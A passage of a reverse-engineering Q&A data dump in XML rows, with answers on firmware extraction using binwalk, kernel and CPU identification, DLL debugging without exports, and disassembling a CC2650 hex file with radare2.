&lt;em&gt;deterministic&lt;/em&gt; so it should be easy enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to manually decrypt the files, there are other important parameters except the &lt;code&gt;key&lt;/code&gt; and &lt;code&gt;iv&lt;/code&gt;. The encryption algorithm, mode of operation, block size, etc...&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-10-03T21:03:58.563" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19529" PostTypeId="1" AcceptedAnswerId="19531" CreationDate="2018-10-03T21:35:07.963" Score="1" ViewCount="6459" Body="&lt;p&gt;I'm trying to use binwalk to extract the firmware for the Ubiquiti Networks ER-X. Currently I've downloaded a copy of the firmware and uncompressed it. I opened the folder with the filesystem contents and found &lt;code&gt;compat squashfs.tmp squashfs.tmp.md5 version.tmp vmlinux.tmp vmlinux.tmp.md5&lt;/code&gt;. I checked to see which file was the biggest and found &lt;code&gt;squashfs.tmp&lt;/code&gt; to be the biggest at about 78MB in size. I ran binwalk with the -e flag but that didn't extract the filesystem. Link to the &lt;a href=&quot;https://www.ubnt.com/download/edgemax/edgerouter-x/default/edgerouter-er-xer-x-sfpep-r6-firmware-v1107&quot; rel=&quot;nofollow noreferrer&quot;&gt;firmware&lt;/a&gt;.   &lt;/p&gt;&#xA;" OwnerUserId="25873" LastActivityDate="2018-10-03T23:31:41.017" Title="Extracting SquashFS based filesystem" Tags="|mips|binwalk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19530" PostTypeId="2" ParentId="19495" CreationDate="2018-10-03T21:56:43.103" Score="2" Body="&lt;p&gt;&lt;code&gt;vmlinuz.lz&lt;/code&gt; contains the kernel image.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk vmlinux.lz &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;12            0xC             LZMA compressed data, properties: 0x6D, dictionary size: 4194304 bytes, uncompressed size: 5227488 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is compressed, as Igor Skochinsky noted. Conveniently, we can use &lt;code&gt;binwalk&lt;/code&gt; to decompress this file via &lt;code&gt;binwalk -e vmlinux.lz&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the newly created directory, there will be a file called &lt;code&gt;C&lt;/code&gt;, named after the offset at which the LZMA signature was found (this is a file naming convention &lt;code&gt;binwalk&lt;/code&gt; uses to name decompressed files). We can run a signature scan on file &lt;code&gt;C&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk C&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;3887212       0x3B506C        Linux kernel version &quot;3.4.11-rt19 (huangyiran@dev198.sh.gj.com) (gcc version 4.6.2 (Buildroot 2011.11) ) #1 SMP PREEMPT Thu Jul 27 10:17:17 CST 2017&quot;&#xA;3905080       0x3B9638        gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)&#xA;4130388       0x3F0654        CRC32 polynomial table, big endian&#xA;4132556       0x3F0ECC        CRC32 polynomial table, big endian&#xA;4491592       0x448948        xz compressed data&#xA;4572996       0x45C744        Unix path: /home/huangyiran/BCM/bcm96838_416L03/bcmdrivers/broadcom/char/bpm/bcm96838/bpm.c&#xA;4576196       0x45D3C4        Unix path: /home/huangyiran/BCM/bcm96838_416L03/shared/opensource/drivers/bcm_misc_hw_init_impl3.c&#xA;4607028       0x464C34        Neighborly text, &quot;NeighborSolicits6InDatagrams&quot;&#xA;4607048       0x464C48        Neighborly text, &quot;NeighborAdvertisementsorts&quot;&#xA;4610379       0x46594B        Neighborly text, &quot;neighbor %.2x%.2x.%pM losttime expired for %s -- IGNORING!&quot;&#xA;4818896       0x4987D0        CRC32 polynomial table, little endian&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to this output, this file is a kernel binary. Let's check a few things just to be sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running an entropy scan on file &lt;code&gt;C&lt;/code&gt; shows that it likely contains a great deal of object code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oaj4y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oaj4y.png&quot; alt=&quot;Zyxel kernel&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running a signature scan try to identify the architecture produces over 13,000 hits for MIPS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -A C | cat -n | tail&#xA; 13075  5219200       0x4FA380        MIPS instructions, function epilogue&#xA; 13076  5219256       0x4FA3B8        MIPS instructions, function epilogue&#xA; 13077  5219564       0x4FA4EC        MIPS instructions, function epilogue&#xA; 13078  5219720       0x4FA588        MIPS instructions, function epilogue&#xA; 13079  5219796       0x4FA5D4        MIPS instructions, function epilogue&#xA; 13080  5220040       0x4FA6C8        MIPS instructions, function epilogue&#xA; 13081  5220296       0x4FA7C8        MIPS instructions, function epilogue&#xA; 13082  5220724       0x4FA974        MIPS instructions, function epilogue&#xA; 13083  5220812       0x4FA9CC        MIPS instructions, function epilogue&#xA; 13084&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additional inforation can be attained by running &lt;code&gt;binwalk -e C&lt;/code&gt; to extract the &lt;code&gt;gzip&lt;/code&gt; compressed data at offset &lt;code&gt;0x3B9638&lt;/code&gt; and examine it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Automatically generated file; DO NOT EDIT.&#xA;# Linux/mips 3.4.11 Kernel Configuration            &amp;lt;---------------&#xA;CONFIG_MIPS=y                                       &amp;lt;--------------- &#xA;# Machine selection&#xA;CONFIG_ZONE_DMA=y&#xA;# CONFIG_MIPS_ALCHEMY is not set&#xA;# CONFIG_AR7 is not set&#xA;# CONFIG_ATH79 is not set&#xA;# CONFIG_BCM47XX is not set&#xA;# CONFIG_BCM63XX is not set&#xA;CONFIG_MIPS_BCM963XX=y                              &amp;lt;-- This looks interesting&#xA;# CONFIG_MIPS_COBALT is not set&#xA;# CONFIG_MACH_DECSTATION is not set&#xA;# CONFIG_MACH_JAZZ is not set&#xA;# CONFIG_MACH_JZ4740 is not set&#xA;.&#xA;.&#xA;&amp;lt;snip&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some of the strings in the kernel binary (file &quot;C&quot;) are interesting as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strings -n 9 C | head -25&#xA;&quot;X`&amp;amp;DXd$B&#xA;&amp;amp;L  P&amp;amp;K X&amp;amp;J `&amp;amp;I h&amp;amp;H &#xA;B* &amp;amp;R* $P&#xA;0!%JUU%)33%&#xA;initcall_debug&#xA;%s version %s (huangyiran@dev198.sh.gj.com) (gcc version 4.6.2 (Buildroot 2011.11) ) %s&#xA;Linux version 3.4.11-rt19 (huangyiran@dev198.sh.gj.com) (gcc version 4.6.2 (Buildroot 2011.11) ) #1 SMP PREEMPT Thu Jul 27 10:17:17 CST 2017&#xA;pause_on_oops&#xA;&amp;lt;2&amp;gt;BUG: recent printk recursion!&#xA;printk.console_suspend&#xA;printk.always_kmsg_dump&#xA;printk.time&#xA;printk.ignore_loglevel&#xA;deprecated_sysctl_warning&#xA;print_dropped_signal&#xA;orderly_poweroff&#xA;7select_fallback_rq&#xA;K?xpm_qos_update_request_timeout&#xA;sys_init_module&#xA;3.4.11-rt19 SMP preempt mod_unload MIPS32_R1 32BIT        &amp;lt;---- architecture info&#xA;]\iIgS1)Y&#xA;spurious.irqfixup&#xA;spurious.noirqdebug&#xA;rcutree.rcu_cpu_stall_timeout&#xA;rcutree.rcu_cpu_stall_suppress&#xA;.&#xA;.&#xA;&amp;lt;snip&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2018-10-03T21:56:43.103" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19531" PostTypeId="2" ParentId="19529" CreationDate="2018-10-03T22:22:48.777" Score="2" Body="&lt;p&gt;I was able to extract the file system just fine. I used Binwalk v2.1.2b and have &lt;code&gt;sasquatch&lt;/code&gt; installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extracted file system:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_squashfs.tmp.extracted/squashfs-root $ ls&#xA;bin  boot  config  dev  etc  home  lib  media  mnt  opt  proc  root  root.dev  run  sbin  selinux  srv  sys  tmp  usr  var&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is indeed for a MIPS device:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file bin/bash&#xA;bin/bash: ELF 32-bit LSB  executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=1b20797b11fa0a481a334f911ac5dfa27ce20c75, stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure all of your tools are up to date and you have the necessary plugins installed. From the &lt;a href=&quot;https://github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;installation page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Binwalk relies on multiple external utilties in order to automatically&#xA;  extract/decompress files and data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Install standard extraction utilities&#xA;$ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools sleuthkit default-jdk lzop srecord&#xA;&#xA;# Install sasquatch to extract non-standard SquashFS images&#xA;$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev&#xA;$ git clone https://github.com/devttys0/sasquatch&#xA;$ (cd sasquatch &amp;amp;&amp;amp; ./build.sh)&#xA;&#xA;# Install jefferson to extract JFFS2 file systems&#xA;$ sudo pip install cstruct&#xA;$ git clone https://github.com/sviehb/jefferson&#xA;$ (cd jefferson &amp;amp;&amp;amp; sudo python setup.py install)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2018-10-03T23:31:41.017" LastActivityDate="2018-10-03T23:31:41.017" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19532" PostTypeId="1" CreationDate="2018-10-04T03:03:31.220" Score="1" ViewCount="1896" Body="&lt;p&gt;I am trying to debug a dll by IDA but it have no exported functions so I can not use rundll32.exe to debug it. How can i do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much./&lt;a href=&quot;https://i.stack.imgur.com/n7Zb0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n7Zb0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19079" LastActivityDate="2018-10-08T03:14:34.560" Title="IDA Debug DLL with non exported function" Tags="|ida|debugging|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19533" PostTypeId="2" ParentId="19532" CreationDate="2018-10-04T03:13:56.377" Score="1" Body="&lt;p&gt;I believe you can still execute &lt;code&gt;rundll32.exe&lt;/code&gt; without an exported function by just specifying &lt;code&gt;rundll32.exe &amp;lt;dllpath&amp;gt;,&lt;/code&gt; (don't forget the comma). If I'm not mistaken this will load the DLL and execute the entry point.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-10-04T03:13:56.377" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19534" PostTypeId="2" ParentId="19517" CreationDate="2018-10-04T04:26:08.250" Score="5" Body="&lt;p&gt;The firmware is compressed, so it is no wonder that up to this point attempting to determine the target CPU of the firmware has been so troublesome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wpHyV.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wpHyV.png&quot; alt=&quot;compressed firmware image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A signature scan reveals a signature associated with LHA compression:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk gr55.bin &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;4             0x4             LHa (2.x) archive data [lh5] [NSRL|LHA2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://manpages.ubuntu.com/manpages/trusty/man1/lhasa.1.html&quot; rel=&quot;noreferrer&quot;&gt;lhasa&lt;/a&gt; can be used to decompress the file, which produces a file called &lt;code&gt;appli.bin&lt;/code&gt;. A signature scan of this file produces the following results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk appli.bin &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;2229080       0x220358        Ubiquiti partition header, header size: 56 bytes, name: &quot;PARTITION#&quot;, base address: 0x00040000, data size: 524288 bytes&#xA;3513280       0x359BC0        Copyright string: &quot;Copyright&quot;&#xA;3527064       0x35D198        Broadcom 96345 firmware header, header size: 256, board id: &quot;   1/8&quot;, ~CRC32 header checksum: 0x43452043, ~CRC32 data checksum: 0x43452042&#xA;3579113       0x369CE9        VxWorks symbol table, big endian, first entry: [type: uninitialized data, code address: 0xE00, symbol address: 0x13C18800]&#xA;7197404       0x6DD2DC        Copyright string: &quot;Copyright Kobe Steel Ltd.&quot;&#xA;7252974       0x6EABEE        Copyright string: &quot;Copyright 2004 TEPCO UQUEST, LTD.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be aware that some may be false positives. For example, I believe that Broadcom 96345 firmware typically targets MIPS CPUs in routers. Further investigation is required. An entropy scan of &lt;code&gt;appli.bin&lt;/code&gt; reveals that it is not compressed or encrypted:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EhKPe.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EhKPe.png&quot; alt=&quot;uncompressed&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is quite a bit of string data in this binary, some of it potentially interesting. For example, this bit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$Id: k_version.c,v 1.3 2010/09/22 13:10:33 shigeno Exp $&#xA;  SHELL for iTRON ver 1.01&#xA;===========================================================&#xA;  Copyright 2004 TEPCO UQUEST, LTD.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.uquest.co.jp/en/&quot; rel=&quot;noreferrer&quot;&gt;Tepco Uquest&lt;/a&gt; is a Japanese company that develops middleware for embedded devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A search for &quot;SHELL for iTRON ver 1.01&quot; results in this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/c71KH.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c71KH.png&quot; alt=&quot;dev presentation&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is quite a bit of technical information contained in &lt;a href=&quot;http://www.t-engine.org/wp-content/themes/wp.vicuna/pdf/specifications/en_US/MW_introduction_e_1.01.pdf&quot; rel=&quot;noreferrer&quot;&gt;this document&lt;/a&gt;; for example on page 71:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7VgeL.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7VgeL.png&quot; alt=&quot;doc page 71&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may contain information relevant to identifying the CPU, as the SH (SuperH) family of CPUs is discussed (&lt;a href=&quot;https://www.renesas.com/us/en/products/microcontrollers-microprocessors/superh/sh7144/sh7144.html&quot; rel=&quot;noreferrer&quot;&gt;Renesas SH7145&lt;/a&gt;, SH7727).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Radare2 supports the SuperH instruction set. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other strings include things like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;St.Piano 3&#xA;St.Piano 4&#xA;St.Piano 5&#xA;Brite Piano&#xA;Stage Piano&#xA;Honky Tonk&#xA;LoFi Piano&#xA;Piano 1 w&#xA;European Pf&#xA;Piano 2 w&#xA;Honky-tonk&#xA;Honky-tonk w&#xA;Pop Piano 1&#xA;Pop Piano 2&#xA;Pop Piano 3&#xA;Piano 3 w&#xA;Stage EP 1&#xA;Stage EP 2&#xA;Stage EP Trm&#xA;Tremolo EP 1&#xA;E.Piano 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Perhaps there is no need for reverse engineering, just patching strings.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2018-10-04T04:26:08.250" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19535" PostTypeId="5" CreationDate="2018-10-04T04:36:27.373" Score="0" Body="&lt;p&gt;A hypervisor is computer software, firmware or hardware that creates and runs virtual machines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A computer on which a hypervisor runs one or more virtual machines is called a &lt;em&gt;host machine&lt;/em&gt;, and each virtual machine is called a &lt;em&gt;guest machine&lt;/em&gt;. The hypervisor presents each of the guest operating systems with an environment that resembles a set of normal hardware while the hypervisor manages the execution of the guest operating systems, usually without the guest operating system's awareness or adjustment.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-10-04T04:36:27.373" LastActivityDate="2018-10-04T04:36:27.373" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19536" PostTypeId="4" CreationDate="2018-10-04T04:36:27.373" Score="0" Body="Use this tag when asking specific hypervisors, hypervisor reverse engineering and hypervisor related CPU questions." OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-10-04T04:36:27.373" LastActivityDate="2018-10-04T04:36:27.373" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19538" PostTypeId="1" CreationDate="2018-10-04T09:17:17.537" Score="1" ViewCount="44" Body="&lt;p&gt;I would like to get the operands of assembly instructions; represented as strings, without any local-variable substitution (e.g. instead of [rbp+var_200] I want to get the actual [rbp+XXXX] offset string). Is there an easy way to achieve this from IDAPython?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Thomas&lt;/p&gt;&#xA;" OwnerUserId="25879" LastActivityDate="2018-10-04T09:17:17.537" Title="IDAPython: Get the operand string without any substitutions" Tags="|ida|idapython|" AnswerCount="0" CommentCount="2" ClosedDate="2018-10-07T19:52:28.207" ContentLicense="CC BY-SA 4.0" />
  <row Id="19540" PostTypeId="2" ParentId="19532" CreationDate="2018-10-04T11:34:48.190" Score="1" Body="&lt;p&gt;You can use &lt;code&gt;regsvr32.exe&lt;/code&gt;. It will load the DLL (run the entry point) and then silently fail because there is no &lt;code&gt;DllRegisterServer&lt;/code&gt; export. &lt;/p&gt;&#xA;" OwnerUserId="24983" LastEditorUserId="24983" LastEditDate="2018-10-04T11:49:48.567" LastActivityDate="2018-10-04T11:49:48.567" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19541" PostTypeId="2" ParentId="19532" CreationDate="2018-10-04T13:54:33.423" Score="1" Body="&lt;p&gt;Implement the C application which loads your library, i.e. calls &lt;code&gt;LoadLibrary()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastEditorUserId="2147" LastEditDate="2018-10-04T14:51:01.033" LastActivityDate="2018-10-04T14:51:01.033" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19543" PostTypeId="1" AcceptedAnswerId="19546" CreationDate="2018-10-04T16:41:19.260" Score="-1" ViewCount="1210" Body="&lt;p&gt;I want to decompile it to C, or at least assembly the CC2650 hex file (Bluetooth Low Energy Sensor Tag), that provide TI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to know the specific way used by CC2650 to generate the LTK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll appreciatte the answers.&lt;/p&gt;&#xA;" OwnerUserId="25883" LastActivityDate="2018-10-04T18:49:02.910" Title="How can I decompile the CC2650 .hex file to C?" Tags="|disassembly|assembly|c|bluetooth|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19544" PostTypeId="1" CreationDate="2018-10-04T17:21:08.620" Score="1" ViewCount="144" Body="&lt;p&gt;I am doing a university project about performing malware analysis on binary files. The end goal would be to analyze real world executables(Microsoft Office installation file for example). If I use DBI, am I in breach of any Europeans law?&lt;/p&gt;&#xA;" OwnerUserId="25884" LastEditorUserId="2147" LastEditDate="2018-10-04T18:13:32.000" LastActivityDate="2018-10-04T18:13:32.000" Title="Is Dynamic Binary Instrumentation legal in UK/EU for malware analysis?" Tags="|binary|instrumentation|law|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="19546" PostTypeId="2" ParentId="19543" CreationDate="2018-10-04T18:49:02.910" Score="1" Body="&lt;p&gt;First, convert the file from Hex to a raw binary using &lt;a href=&quot;http://www.keil.com/support/docs/275.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;srec_cat&lt;/code&gt;&lt;/a&gt; or &lt;a href=&quot;https://stackoverflow.com/questions/26961795/converting-from-hex-to-bin-for-arm-on-linux&quot;&gt;&lt;code&gt;objcopy&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then take a look at an entropy plot, a hex dump, and the output of &lt;code&gt;strings&lt;/code&gt; to check the state of the converted file. Here is a snippet of a hex dump of the converted file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ hexdump -C -n 256 sensor.bin &#xA;00000000  00 37 00 20 c9 0b 00 00  d9 0b 00 00 db 0b 00 00  |.7. ............|&#xA;00000010  dd 0b 00 00 dd 0b 00 00  dd 0b 00 00 00 00 00 00  |................|&#xA;00000020  00 00 00 00 00 00 00 00  00 00 00 00 dd 0b 00 00  |................|&#xA;00000030  dd 0b 00 00 00 00 00 00  dd 0b 00 00 dd 0b 00 00  |................|&#xA;00000040  dd 0b 00 00 dd 0b 00 00  dd 0b 00 00 dd 0b 00 00  |................|&#xA;*&#xA;000000c0  dd 0b 00 00 dd 0b 00 00  df f8 e8 13 09 68 c1 f3  |.............h..|&#xA;000000d0  04 61 16 29 a8 bf 20 39  01 eb 20 71 49 1c 16 29  |.a.).. 9.. qI..)|&#xA;000000e0  a8 bf 15 21 04 da 6f f0  09 02 91 42 b8 bf 11 46  |...!..o....B...F|&#xA;000000f0  01 f0 1f 01 df f8 c0 23  41 f4 f8 51 11 80 df f8  |.......#A..Q....|&#xA;00000100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next, check to see if you can find the entry point and attempt to begin disassembly there for the given architecture. Beginning disassembly at offset &lt;code&gt;0xC0&lt;/code&gt; seems like a good guess. I used &lt;code&gt;r2&lt;/code&gt; to perform the disassembly (note that &quot;sensor.bin&quot; is the name I gave to the binary converted from the CC2650 Hex file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -a arm -b 16 sensor.bin       &amp;lt;-------  for ARM Thumb instruction set arch&#xA; -- SHALL WE PLAY A GAME?&#xA;[0x00000000]&amp;gt; s 0xc0               &amp;lt;-------- seek to offset 0xC0&#xA;[0x000000c0]&amp;gt; pd                   &amp;lt;-------- print disassembly &#xA;            0x000000c0      dd0b           lsrs r5, r3, 0xf&#xA;            0x000000c2      0000           movs r0, r0&#xA;            0x000000c4      dd0b           lsrs r5, r3, 0xf&#xA;            0x000000c6      0000           movs r0, r0&#xA;            0x000000c8      dff8e813       ldr.w r1, [0x000004b8]      ; [0x4b8:4]=0x4008626e&#xA;            0x000000cc      0968           ldr r1, [r1]&#xA;            0x000000ce      c1f30461       ubfx r1, r1, 0x18, 5&#xA;            0x000000d2      1629           cmp r1, 0x16&#xA;        ,=&amp;lt; 0x000000d4      a8bf           it ge&#xA;        `-&amp;gt; 0x000000d6      2039           subs r1, 0x20&#xA;            0x000000d8      01eb2071       add.w r1, r1, r0, asr 28&#xA;            0x000000dc      491c           adds r1, r1, 1&#xA;            0x000000de      1629           cmp r1, 0x16&#xA;        ,=&amp;lt; 0x000000e0      a8bf           it ge&#xA;        `-&amp;gt; 0x000000e2      1521           movs r1, 0x15&#xA;        ,=&amp;lt; 0x000000e4      04da           bge 0xf0&#xA;        |   0x000000e6      6ff00902       mvn r2, 9&#xA;        |   0x000000ea      9142           cmp r1, r2&#xA;       ,==&amp;lt; 0x000000ec      b8bf           it lt&#xA;       `--&amp;gt; 0x000000ee      1146           mov r1, r2&#xA;        `-&amp;gt; 0x000000f0      01f01f01       and r1, r1, 0x1f&#xA;            0x000000f4      dff8c023       ldr.w r2, [0x000004bc]      ; [0x4bc:4]=0x40090000&#xA;            0x000000f8      41f4f851       orr r1, r1, 0x1f00&#xA;            0x000000fc      1180           strh r1, [r2]&#xA;            0x000000fe      dff8bc13       ldr.w r1, [0x000004c2]      ; [0x4c0:4]=0x432a0494&#xA;            0x00000102      0968           ldr r1, [r1]&#xA;            0x00000104      8907           lsls r1, r1, 0x1e&#xA;        ,=&amp;lt; 0x00000106      4fbf           iteee mi&#xA;        `-&amp;gt; 0x00000108      40f04060       orr r0, r0, 0xc000000&#xA;            0x0000010c      0021           movs r1, 0&#xA;            0x0000010e      dff8b023       ldr.w r2, [0x000004c6]      ; [0x4c4:4]=0x43200000&#xA;            0x00000112      1160           str r1, [r2]&#xA;            0x00000114      dff8ac13       ldr.w r1, [0x000004c8]      ; [0x4c8:4]=0x400ca000&#xA;            0x00000118      c0f3c062       ubfx r2, r0, 0x1b, 1&#xA;            0x0000011c      82f00102       eor r2, r2, 1&#xA;            0x00000120      c0f38060       ubfx r0, r0, 0x1a, 1&#xA;            0x00000124      0a60           str r2, [r1]&#xA;            0x00000126      80f00100       eor r0, r0, 1&#xA;            0x0000012a      8860           str r0, [r1, 8]&#xA;            0x0000012c      7047           bx lr&#xA;            0x0000012e      70b5           push {r4, r5, r6, lr}&#xA;            0x00000130      0546           mov r5, r0&#xA;            0x00000132      82b0           sub sp, 8&#xA;            0x00000134      0846           mov r0, r1&#xA;            0x00000136      00f0eef8       bl 0x316&#xA;            0x0000013a      0246           mov r2, r0&#xA;            0x0000013c      dff88843       ldr.w r4, [0x000004cc]      ; [0x4cc:4]=0x50001370&#xA;            0x00000140      1821           movs r1, 0x18&#xA;            0x00000142      00f060f8       bl 0x206&#xA;            0x00000146      00f012f9       bl 0x36e&#xA;            0x0000014a      80b2           uxth r0, r0&#xA;            0x0000014c      0090           str r0, [sp]&#xA;            0x0000014e      0023           movs r3, 0&#xA;            0x00000150      40f2ff32       movw r2, 0x3ff&#xA;            0x00000154      2c21           movs r1, 0x2c               ; ','&#xA;            0x00000156      2046           mov r0, r4&#xA;            0x00000158      00f031fa       bl 0x5be&#xA;            0x0000015c      dff86c63       ldr.w r6, [0x000004d0]      ; [0x4d0:4]=0xfcffff&#xA;            0x00000160      f068           ldr r0, [r6, 0xc]&#xA;            0x00000162      c0f30d02       ubfx r2, r0, 0, 0xe&#xA;            0x00000166      1c21           movs r1, 0x1c&#xA;            0x00000168      00f04df8       bl 0x206&#xA;            0x0000016c      7068           ldr r0, [r6, 4]&#xA;            0x0000016e      00f0fc32       and r2, r0, 0xfcfcfcfc&#xA;.&#xA;.&#xA;&amp;lt;snip&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The disassembly seems OK. I am not familiar with ARM assembly variants, however. The absence of invalid disassembly is a good sign.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should be enough information to get you started with your decompiler of choice. &lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2018-10-04T18:49:02.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
